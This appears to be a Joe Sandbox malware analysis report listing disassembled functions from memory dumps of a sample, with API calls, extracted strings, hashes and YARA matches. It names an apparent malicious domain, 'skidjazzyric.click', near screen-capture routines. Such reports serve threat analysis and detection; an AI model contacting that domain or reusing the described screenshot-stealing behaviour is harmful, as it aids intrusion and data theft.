tj, xrefs: 00419BBA
~|, xrefs: 00419B2E
if, xrefs: 00419B1C
vt, xrefs: 00419AFC
Wu, xrefs: 00419CE7, 00419D24

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID: FreeLibrary$InitializeThunk
String ID: ~|$SP$if$Wu$pv$tj$vt
API String ID: 764372645-1279135394
Opcode ID: 6f3e0809db8a7ee577943ce01a0a1cb86fff2ea56a37afda839586e8e533a568
Instruction ID: c1c817f51924b2b6e01bbc71c3bfe870e6f9d21007064de5033cd7ab66586395
Opcode Fuzzy Hash: 6f3e0809db8a7ee577943ce01a0a1cb86fff2ea56a37afda839586e8e533a568
Instruction Fuzzy Hash: 5D624770609310AFE724CB15DC9176BB7E2EFC5314F18862DF495973A1D378AC858B4A

Function 00425D6A Relevance: 15.8, Strings: 12, Instructions: 778COMMON

Download Yara Rule

Strings

(X#^, xrefs: 00426350
&$, xrefs: 004266A0
2E1G, xrefs: 00426876
$@7F, xrefs: 0042633C
4D2Z, xrefs: 00426346
uVw, xrefs: 00425EA0
Wdz, xrefs: 00426396
+\1R, xrefs: 0042635A
T`Sf, xrefs: 0042638C
8I>K, xrefs: 00426858
qs, xrefs: 00425E96
-T,j, xrefs: 0042636E

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID:
String ID: $@7F$(X#^$+\1R$-T,j$2E1G$4D2Z$8I>K$T`Sf$Wdz$&$$qs$uVw
API String ID: 0-2419925205
Opcode ID: b98f95cc8d7a7bfe044da580c8a45b468910242ccf89acd057331744f3faff64
Instruction ID: c261d025133841230159ca5431fd9423a817dc7e9349410c690f11e8db15d26c
Opcode Fuzzy Hash: b98f95cc8d7a7bfe044da580c8a45b468910242ccf89acd057331744f3faff64
Instruction Fuzzy Hash: FA7283B4A05269CFDB24CF55D881BDDBBB2FB46300F1181E9C5496B362DB349A86CF84

Function 02119AA7 Relevance: 14.9, APIs: 2, Strings: 6, Instructions: 936COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?), ref: 02119F4E
FreeLibrary.KERNEL32(?), ref: 02119F8B

Strings

if, xrefs: 02119D83
tj, xrefs: 02119E21
SP, xrefs: 02119E59
pv, xrefs: 02119E19
vt, xrefs: 02119D63
~|, xrefs: 02119D95

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: ~|$SP$if$pv$tj$vt
API String ID: 3664257935-1422159894
Opcode ID: 557abf3bdc5e1b4c31fa4c16cb7a998475db0352c266ee35ae4fbd844e0422db
Instruction ID: 2dbf38afd0e26cd04cec60a13fc59b6ff3bba0d02946652a9ffe47c4a222c623
Opcode Fuzzy Hash: 557abf3bdc5e1b4c31fa4c16cb7a998475db0352c266ee35ae4fbd844e0422db
Instruction Fuzzy Hash: 8B621870689350AFE724CB24CC91B2FBBE2EFC5318F18863CE5A597290D771A845CB56

Function 00417405 Relevance: 13.4, APIs: 4, Strings: 3, Instructions: 1110COMMON

Download Yara Rule

Strings

5&'d, xrefs: 004175E5
~, xrefs: 00418158
O, xrefs: 00417625

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID:
String ID: 5&'d$O$~
API String ID: 0-1622812124
Opcode ID: 19bfc54354d9903b26eacf0161f96faf57e28913ce884c947f78354b466abfc6
Instruction ID: 7c8e188e2ff574dc84e1e58bec60109b2722ae2eee07efcef2931a8160e5a92b
Opcode Fuzzy Hash: 19bfc54354d9903b26eacf0161f96faf57e28913ce884c947f78354b466abfc6
Instruction Fuzzy Hash: AC820F7550C3518BC324CF28C8917ABB7E1FF99314F198A6EE4C99B391E7389941CB4A

Function 004257E0 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 295COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 004258F4
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,?,?), ref: 0042595D

Strings

)RSP, xrefs: 004259A1
`J/H, xrefs: 00425826
B"@, xrefs: 00425818
=^"\, xrefs: 00425ABF
rp, xrefs: 00425834

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: B"@$)RSP$=^"\$`J/H$rp
API String ID: 237503144-816972838
Opcode ID: bf1cafb989073c4553b17663fd8b05ca961829d4f2cee33832e91d81a2f5237f
Instruction ID: cd6e5e946c3164ee33c4da05371f075d598195140dbb1deecb8ac0c04a2143aa
Opcode Fuzzy Hash: bf1cafb989073c4553b17663fd8b05ca961829d4f2cee33832e91d81a2f5237f
Instruction Fuzzy Hash: 9DA110B6E402188FDB10CFA8DC827EEBBB1FF85314F154169E414AB291D7B59942CB94

Function 0210D7AC Relevance: 10.8, APIs: 1, Strings: 6, Instructions: 349COMMON

Download Yara Rule

APIs

Part of subcall function 02136BE7: GetDC.USER32(00000000), ref: 02136BF0
Part of subcall function 02136BE7: GetCurrentObject.GDI32(00000000,00000007), ref: 02136C11
Part of subcall function 02136BE7: GetObjectW.GDI32(00000000,00000018,?), ref: 02136C21
Part of subcall function 02136BE7: DeleteObject.GDI32(00000000), ref: 02136C28
Part of subcall function 02136BE7: CreateCompatibleDC.GDI32(00000000), ref: 02136C37
Part of subcall function 02136BE7: CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 02136C42
Part of subcall function 02136BE7: SelectObject.GDI32(00000000,00000000), ref: 02136C4E
Part of subcall function 02136BE7: BitBlt.GDI32(00000000,00000000,00000000,?,?,00000000,?,?,00CC0020), ref: 02136C71

CoUninitialize.COMBASE ref: 0210D7BC

Strings

?C*], xrefs: 0210DA0B
skidjazzyric.click, xrefs: 0210DB71
&W-Q, xrefs: 0210DA20
~wxH, xrefs: 0210D8B6
|qay, xrefs: 0210D8A8
9Y, xrefs: 0210DABB

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID: Object$CompatibleCreate$BitmapCurrentDeleteSelectUninitialize
String ID: &W-Q$9Y$?C*]$skidjazzyric.click$|qay$~wxH
API String ID: 3248263802-1525209810
Opcode ID: ae45af60d508102decc7da59701e9a4893ce939ff9a93b35a5cd895196908ad5
Instruction ID: 4cfc84a57298ed6a1839eec60b75e785d66f1f3555f4304262f6bce4d7d6355a
Opcode Fuzzy Hash: ae45af60d508102decc7da59701e9a4893ce939ff9a93b35a5cd895196908ad5
Instruction Fuzzy Hash: 01B125756447818BE725CF6AC4E0762FBE2FF96304B18C1ACC4D64BB8AC778A406CB51

Function 0040D545 Relevance: 10.8, APIs: 1, Strings: 6, Instructions: 349COMMON

Download Yara Rule

APIs

Part of subcall function 00436980: GetDC.USER32(00000000), ref: 00436989
Part of subcall function 00436980: GetSystemMetrics.USER32(0000004C), ref: 00436999
Part of subcall function 00436980: GetSystemMetrics.USER32(0000004D), ref: 004369A1
Part of subcall function 00436980: GetCurrentObject.GDI32(00000000,00000007), ref: 004369AA
Part of subcall function 00436980: GetObjectW.GDI32(00000000,00000018,?), ref: 004369BA
Part of subcall function 00436980: DeleteObject.GDI32(00000000), ref: 004369C1
Part of subcall function 00436980: CreateCompatibleDC.GDI32(00000000), ref: 004369D0
Part of subcall function 00436980: CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 004369DB
Part of subcall function 00436980: SelectObject.GDI32(00000000,00000000), ref: 004369E7
Part of subcall function 00436980: BitBlt.GDI32(00000000,00000000,00000000,?,?,00000000,?,?,00CC0020), ref: 00436A0A

CoUninitialize.OLE32 ref: 0040D555

Strings

~wxH, xrefs: 0040D64F
|qay, xrefs: 0040D641
?C*], xrefs: 0040D7A4
skidjazzyric.click, xrefs: 0040D90A
9Y, xrefs: 0040D854
&W-Q, xrefs: 0040D7B9

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID: Object$CompatibleCreateMetricsSystem$BitmapCurrentDeleteSelectUninitialize
String ID: &W-Q$9Y$?C*]$skidjazzyric.click$|qay$~wxH
API String ID: 3213364925-1525209810
Opcode ID: ae45af60d508102decc7da59701e9a4893ce939ff9a93b35a5cd895196908ad5
Instruction ID: aef483f231ee1e61a479db6060b0077f9689b526eef662d52e770a901b229f69
Opcode Fuzzy Hash: ae45af60d508102decc7da59701e9a4893ce939ff9a93b35a5cd895196908ad5
Instruction Fuzzy Hash: EEB115756047818BE325CF2AC4D0762BBE2FF96300B18C5ADC4D64BB86D738A806CB95

Function 0211C667 Relevance: 10.8, Strings: 8, Instructions: 842COMMON

Download Yara Rule

Strings

C`6f, xrefs: 0211C9A3, 0211CE18, 0211CEE4
*H%N, xrefs: 0211CB56
2T'Z, xrefs: 0211CB6B
,X0^, xrefs: 0211CB72
+P%V, xrefs: 0211CB64
,\/b, xrefs: 0211CB79
C`6f, xrefs: 0211CB80
4D"J, xrefs: 0211CB4F

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID:
String ID: *H%N$+P%V$,X0^$,\/b$2T'Z$4D"J$C`6f$C`6f
API String ID: 0-102253164
Opcode ID: f96fe7a7a370e0a426616b44d01145cf498bc23b6eb0afd2ea812e4552abdc14
Instruction ID: eedd14aac00b105a06c04efae682c1a3f08f436448e8aa41e2d1099322fcc536
Opcode Fuzzy Hash: f96fe7a7a370e0a426616b44d01145cf498bc23b6eb0afd2ea812e4552abdc14
Instruction Fuzzy Hash: 503238B19802118BCB24CF24C8927B7B7B2FF95314F2992ADD8415F794E7759802CBD2

Function 0041C400 Relevance: 10.8, Strings: 8, Instructions: 842COMMON

Download Yara Rule

Strings

2T'Z, xrefs: 0041C904
4D"J, xrefs: 0041C8E8
*H%N, xrefs: 0041C8EF
,\/b, xrefs: 0041C912
C`6f, xrefs: 0041C919
,X0^, xrefs: 0041C90B
+P%V, xrefs: 0041C8FD
C`6f, xrefs: 0041C73C, 0041CBB1, 0041CC7D

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID:
String ID: *H%N$+P%V$,X0^$,\/b$2T'Z$4D"J$C`6f$C`6f
API String ID: 0-102253164
Opcode ID: 7d18ccd7fb329c2f7a5c3569352263da56546af64857bf12c5cea43640fe8961
Instruction ID: 7c24634cc790d3dc5544db0222c0a2221dcce8583ae8b0beabc19f11c9a677e2
Opcode Fuzzy Hash: 7d18ccd7fb329c2f7a5c3569352263da56546af64857bf12c5cea43640fe8961
Instruction Fuzzy Hash: 923202B19402118BCB24CF24CC927A7B7B2FF95314F28829DD851AF395E779A842CBD5

Function 02108AE7 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 180threadCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 02108B0B
GetCurrentThreadId.KERNEL32 ref: 02108B15
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 02108BBC
GetForegroundWindow.USER32 ref: 02108BD1
ExitProcess.KERNEL32 ref: 02108D1E

Strings

6W01, xrefs: 02108C1C

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID: CurrentProcess$ExitFolderForegroundPathSpecialThreadWindow
String ID: 6W01
API String ID: 4063528623-326071965
Opcode ID: bfbdd2f4eb40b0c99f42f083f1dd3dcee64ae0e50d961520efab8e0958816b30
Instruction ID: b8119d4ac36c96a109aa36d594b407411a6e85609a36fe25d28a0508d7e5caff
Opcode Fuzzy Hash: bfbdd2f4eb40b0c99f42f083f1dd3dcee64ae0e50d961520efab8e0958816b30
Instruction Fuzzy Hash: 9D518E73A843040FD728AF659C85356BAD79FC1314F1FC1399955AB3E5EAB488068BC1

Function 0040B2B0 Relevance: 9.3, Strings: 7, Instructions: 518COMMON

Download Yara Rule

Strings

6C(], xrefs: 0040B382
?_oY, xrefs: 0040B389
`/(), xrefs: 0040B588
fWpQ, xrefs: 0040B397
Bc*}, xrefs: 0040B3C6
K{Du, xrefs: 0040B3DA
@w@q, xrefs: 0040B3E4

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID:
String ID: 6C(]$?_oY$@w@q$Bc*}$K{Du$`/()$fWpQ
API String ID: 0-74227037
Opcode ID: 38d3abca32f2cf0db45db9bcd24ebb0db54af3e6334d844c9839fcbf09972b5b
Instruction ID: 6cbb9b4a16d706e95eb7c5eb543f19fb0438a443f67131002351f3f2f8f3bf58
Opcode Fuzzy Hash: 38d3abca32f2cf0db45db9bcd24ebb0db54af3e6334d844c9839fcbf09972b5b
Instruction Fuzzy Hash: FA1299B5205B01CFD324CF25D891B97BBF6FB45314F058A2DD5AA8BAA0DB74A406CF84

Function 00425AF0 Relevance: 7.8, Strings: 6, Instructions: 289COMMON

Download Yara Rule

Strings

bX_^, xrefs: 00425BBD
)RSP, xrefs: 004259A1
C@, xrefs: 00425C40
K3, xrefs: 00425C4A
B:, xrefs: 00425C36
=^"\, xrefs: 00425ABF

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID:
String ID: )RSP$=^"\$B:$C@$K3$bX_^
API String ID: 0-3030200349
Opcode ID: b7b7d5e1b28ee3cbee9031abf066d5bdbea60043203f55f78b2bc464f190e4c2
Instruction ID: 361e1606381cfafdf419846c5dd42b56ab67650ac9a68572a77bc4f7112e5621
Opcode Fuzzy Hash: b7b7d5e1b28ee3cbee9031abf066d5bdbea60043203f55f78b2bc464f190e4c2
Instruction Fuzzy Hash: 77B120B6E002288FDB20CF68DC427DEBBB1FB85314F1981A9E418AB351D7785D468F91

Function 0212ECC9 Relevance: 5.3, Strings: 4, Instructions: 331COMMON

Download Yara Rule

Strings

D, xrefs: 0212EFCF
0, xrefs: 0212EF67
8<j?, xrefs: 0212EFB7
4b, xrefs: 0212F041

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID:
String ID: 0$8<j?$D$4b
API String ID: 0-1320392364
Opcode ID: c5bccc6a1462223a6a16399cddfc4de50993b4880fcb804883e5cf7c287459bb
Instruction ID: 40eb1d4d35971d9f60b5d00dfc8913f5d5e26bdfb134a76f818aa931e932fd3d
Opcode Fuzzy Hash: c5bccc6a1462223a6a16399cddfc4de50993b4880fcb804883e5cf7c287459bb
Instruction Fuzzy Hash: A791F86124C3918BD718CF39846137AFBE29FD6218F29896DF4D58B291D339C50AC716

Function 0042EA62 Relevance: 5.3, Strings: 4, Instructions: 331COMMON

Download Yara Rule

Strings

8<j?, xrefs: 0042ED50
0, xrefs: 0042ED00
4b, xrefs: 0042EDDA
D, xrefs: 0042ED68

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID:
String ID: 0$8<j?$D$4b
API String ID: 0-1320392364
Opcode ID: c5bccc6a1462223a6a16399cddfc4de50993b4880fcb804883e5cf7c287459bb
Instruction ID: 2b7b52935a6d5b5a4047c1575b3543403dadbc3efec4758ce9a79863674c7261
Opcode Fuzzy Hash: c5bccc6a1462223a6a16399cddfc4de50993b4880fcb804883e5cf7c287459bb
Instruction Fuzzy Hash: 9F91F66030C3918BD718CF3A946136BBBD19FD6314F69896EE4D68B391D23CC406871A

Function 0041BBA0 Relevance: 5.3, Strings: 4, Instructions: 325COMMON

Download Yara Rule

Strings

WT, xrefs: 0041BD39
9HiN, xrefs: 0041BD21
,D,J, xrefs: 0041BD19
'P0V, xrefs: 0041BD31

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID:
String ID: 'P0V$,D,J$9HiN$WT
API String ID: 0-3770969982
Opcode ID: db0a98afcbfdb664a44cceaff5c849975bf5989fe3d7f245b03da2a88515caab
Instruction ID: 1a2b24427ca50ea0613cce179253f9256e84f06a3d156f412d4f3691be65671a
Opcode Fuzzy Hash: db0a98afcbfdb664a44cceaff5c849975bf5989fe3d7f245b03da2a88515caab
Instruction Fuzzy Hash: 72B123B664D3549BD304CF62D8802AFBBE2FBC1314F098D2DE1C897341D779884A8B86

Function 0211BE2C Relevance: 5.2, Strings: 4, Instructions: 223COMMON

Download Yara Rule

Strings

'P0V, xrefs: 0211BF98
WT, xrefs: 0211BFA0
,D,J, xrefs: 0211BF80
9HiN, xrefs: 0211BF88

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID:
String ID: 'P0V$,D,J$9HiN$WT
API String ID: 0-3770969982
Opcode ID: 0e2b0cc12e3226d2cd341a2167d348b6fcb24ba631dfe2d9486f098724b9ef4e
Instruction ID: ae41a8695f5a39636fa6a68c7fb5efa5c8bdd939795bcfb3308c1a97ca196a4b
Opcode Fuzzy Hash: 0e2b0cc12e3226d2cd341a2167d348b6fcb24ba631dfe2d9486f098724b9ef4e
Instruction Fuzzy Hash: 5B71C0B558D3958BD304DF12C8802AFBBE2FBD1314F188E6CE5D85B251D739854A8F86

Function 02125D57 Relevance: 5.1, Strings: 4, Instructions: 132COMMON

Download Yara Rule

Strings

B:, xrefs: 02125E9D
bX_^, xrefs: 02125E24
C@, xrefs: 02125EA7
K3, xrefs: 02125EB1

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID:
String ID: B:$C@$K3$bX_^
API String ID: 0-595269213
Opcode ID: 0d06cbe45fa1c6c57b514cd4ae27e395b8e4d2b4ab09be3f8917ba205efd2598
Instruction ID: 3a7d082670df0f1c546c1b73264e0000b1e3510e65ff35c29e3624a7f964fb88
Opcode Fuzzy Hash: 0d06cbe45fa1c6c57b514cd4ae27e395b8e4d2b4ab09be3f8917ba205efd2598
Instruction Fuzzy Hash: 2D41CEB5D112289FDB20DF79CD827DDBFB1AB85300F4442AAE448A7295D7340E898FD2

Function 0212EE1A Relevance: 4.1, Strings: 3, Instructions: 313COMMON

Download Yara Rule

Strings

D, xrefs: 0212EFCF
8<j?, xrefs: 0212EFB7
4b, xrefs: 0212F041

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID:
String ID: 8<j?$D$4b
API String ID: 0-2390459867
Opcode ID: d59d36acd5cd2e828688b9d714447d50828384055e21535b96a5200c43e5d42a
Instruction ID: 482a90b53e3be27ff54803163605d3915a64a5763dfc8d0d66df8d09247d87cb
Opcode Fuzzy Hash: d59d36acd5cd2e828688b9d714447d50828384055e21535b96a5200c43e5d42a
Instruction Fuzzy Hash: 0D81EA6024C3918BD719CF39856137AFBE29FD6218F2C896DF4D58B281D379C50ACB16

Function 0212EDC6 Relevance: 4.1, Strings: 3, Instructions: 313COMMON

Download Yara Rule

Strings

D, xrefs: 0212EFCF
8<j?, xrefs: 0212EFB7
4b, xrefs: 0212F041

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID:
String ID: 8<j?$D$4b
API String ID: 0-2390459867
Opcode ID: d7cf588a064f1155daa4d7c44af41ec226caa0cd09314393bb3aaf469a1037c3
Instruction ID: f131fe9443a432f4b8b213cbfd6ec4ed684797140b3a19f970cf386be340d58e
Opcode Fuzzy Hash: d7cf588a064f1155daa4d7c44af41ec226caa0cd09314393bb3aaf469a1037c3
Instruction Fuzzy Hash: CA81DA6124C3918BD719CF3984A137AFBE29FD6218F2C896DF4D58B281D379C50AC716

Function 0042EB5F Relevance: 4.1, Strings: 3, Instructions: 313COMMON

Download Yara Rule

Strings

8<j?, xrefs: 0042ED50
4b, xrefs: 0042EDDA
D, xrefs: 0042ED68

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID:
String ID: 8<j?$D$4b
API String ID: 0-2390459867
Opcode ID: d7cf588a064f1155daa4d7c44af41ec226caa0cd09314393bb3aaf469a1037c3
Instruction ID: 3d775767d977819f4cd04dfa65fb75d6d4b79ad1faca8718d285b39be461a68a
Opcode Fuzzy Hash: d7cf588a064f1155daa4d7c44af41ec226caa0cd09314393bb3aaf469a1037c3
Instruction Fuzzy Hash: 1781F86020C3928BD719CF3A946137BBFD19FD6314F69896EE4D68B381D27DC406871A

Function 0042EBB3 Relevance: 4.1, Strings: 3, Instructions: 313COMMON

Download Yara Rule

Strings

8<j?, xrefs: 0042ED50
4b, xrefs: 0042EDDA
D, xrefs: 0042ED68

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID:
String ID: 8<j?$D$4b
API String ID: 0-2390459867
Opcode ID: d59d36acd5cd2e828688b9d714447d50828384055e21535b96a5200c43e5d42a
Instruction ID: e8062cfa3f92b269e517a95a0a15263ae71e3fa69566e020a52e9e5137cfccfc
Opcode Fuzzy Hash: d59d36acd5cd2e828688b9d714447d50828384055e21535b96a5200c43e5d42a
Instruction Fuzzy Hash: 7281F86030C3928BD718CF3A946136BBBD19FD6314F69896EE4D68B381D27DC406875A

Function 021091F7 Relevance: 4.1, Strings: 3, Instructions: 304COMMON

Download Yara Rule

Strings

Z, xrefs: 0210934F
ut, xrefs: 02109348
#=0, xrefs: 0210922C

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID:
String ID: #=0$Z$ut
API String ID: 0-1971374411
Opcode ID: be4ac88b631f695b8da9113a151050db4f90e52ffa014f1e1e87b4b39f4c50ae
Instruction ID: 42d3a945511ead4ed7eb64260d71ddddd0654dd79c184a917e0c59020751881d
Opcode Fuzzy Hash: be4ac88b631f695b8da9113a151050db4f90e52ffa014f1e1e87b4b39f4c50ae
Instruction Fuzzy Hash: F481053110C3828AD7058F38C5A076AFFE1AF93618F1899ADD4D29B6D3D769C50AC752

Function 00408F90 Relevance: 4.1, Strings: 3, Instructions: 304COMMON

Download Yara Rule

Strings

Z, xrefs: 004090E8
ut, xrefs: 004090E1
#=0, xrefs: 00408FC5

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID:
String ID: #=0$Z$ut
API String ID: 0-1971374411
Opcode ID: be4ac88b631f695b8da9113a151050db4f90e52ffa014f1e1e87b4b39f4c50ae
Instruction ID: eba545bab416a68370d8833e2e81319f1cd74d48ef4740c2d23370f5f56f4d51
Opcode Fuzzy Hash: be4ac88b631f695b8da9113a151050db4f90e52ffa014f1e1e87b4b39f4c50ae
Instruction Fuzzy Hash: 4681E23120C7829AD7058F39845026BBFE1AFA7314F1889AED4D1AB3C7D639C90AC756

Function 0212EE08 Relevance: 4.0, Strings: 3, Instructions: 290COMMON

Download Yara Rule

Strings

D, xrefs: 0212EFCF
8<j?, xrefs: 0212EFB7
4b, xrefs: 0212F041

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID:
String ID: 8<j?$D$4b
API String ID: 0-2390459867
Opcode ID: 9551c1296e75a185e8b16465c2714311d826185385f0d2d897db6609d4c85006
Instruction ID: 4e91ba10509c99057e522f134dd552df8ce00cc9fb23ae0ddfc6b0978cc1ae6a
Opcode Fuzzy Hash: 9551c1296e75a185e8b16465c2714311d826185385f0d2d897db6609d4c85006
Instruction Fuzzy Hash: 7E81D9612483918BD719CF3984A137AFFE29FD6218F1C496DF4D18B281D339C50ACB56

Function 0042EBA1 Relevance: 4.0, Strings: 3, Instructions: 290COMMON

Download Yara Rule

Strings

8<j?, xrefs: 0042ED50
4b, xrefs: 0042EDDA
D, xrefs: 0042ED68

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID:
String ID: 8<j?$D$4b
API String ID: 0-2390459867
Opcode ID: 9551c1296e75a185e8b16465c2714311d826185385f0d2d897db6609d4c85006
Instruction ID: b31d7765b50fe5da72acd4eceaa3461b1016088ded1e177ce8b27f3ca53c8b68
Opcode Fuzzy Hash: 9551c1296e75a185e8b16465c2714311d826185385f0d2d897db6609d4c85006
Instruction Fuzzy Hash: 7E81E8602083918BD719CF3A946136BFFD29FE6314F6D496EE4D18B381D23CC5068B5A

Function 00442D20 Relevance: 4.0, Strings: 3, Instructions: 282COMMON

Download Yara Rule

Strings

D`a&, xrefs: 00442ED5
bX_^, xrefs: 00442D22
NMNO, xrefs: 00442E20

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

